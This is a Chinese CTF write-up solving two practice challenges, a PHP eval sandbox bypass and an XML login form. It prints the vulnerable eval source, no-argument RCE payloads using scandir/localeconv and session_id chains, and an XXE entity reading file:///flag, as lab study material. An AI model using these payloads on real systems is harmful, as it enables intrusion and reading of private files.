目录
[[NCTF2019]Fake XML cookbook](#[NCTF2019]Fake XML cookbook)
[GXYCTF2019]禁止套娃
页面里啥也没有
使用dirsearch 扫一下目录
发现有 git
使用工具githack拉取源码
php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
禁用了各种php伪协议,
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
很明显的无参数rce , 只能使用函数, 里面不能有参数
后面的正则又过滤了很多东西, 很多函数用不了
方法一:
current(localeconv())永远都是个点 " . " 配合 scandir(current(localeconv())) 读取当前的目录
可以看到需要的flag.php文件 , 要想办法读到这个文件
next() : 将内部指针指向数组中的下一个元素
array_reverse() : 函数以相反的元素顺序返回数组
?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
方法二:
session_id()
可以用来获取 设置当前会话 ID。 那么可以用这个函数来获取cookie中的phpsessionid
了,并且这个值我们是可控的。
在使用 session_id()的时候 需要使用session_start()来开启session会话
控制 cookie 的 PHPSESSID 为flag.php 从而读取这个文件
?exp=highlight_file(session_id(session_start()));
Cookie: PHPSESSID=flag.php
在这里本来还想着是否能够命令执行来着
但是好像也只能列出来, 无法读取
cat flag.php不了
ls 也只能读当前目录 , 想要读根目录也不行
估计是空格的原因, 毕竟这里是PHPSESSID= 的内容
可以执行 whoami , id 这种单独的一个命令的
[NCTF2019]Fake XML cookbook
一个登录框
抓包看看
格式感觉有点奇怪
题目提示 xml
查看源代码. 分析
[NCTF2019]Fake XML cookbook(特详解) - 技术栈
XML实体注入漏洞(XXE)
(这一块的内容也还不是很了解, 后面还得继续学习一下)
读取flag:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>1123</password></user>
不晓得为啥总是读取不了 , file:///etc/passwd 也读不了, 也不晓得是啥原因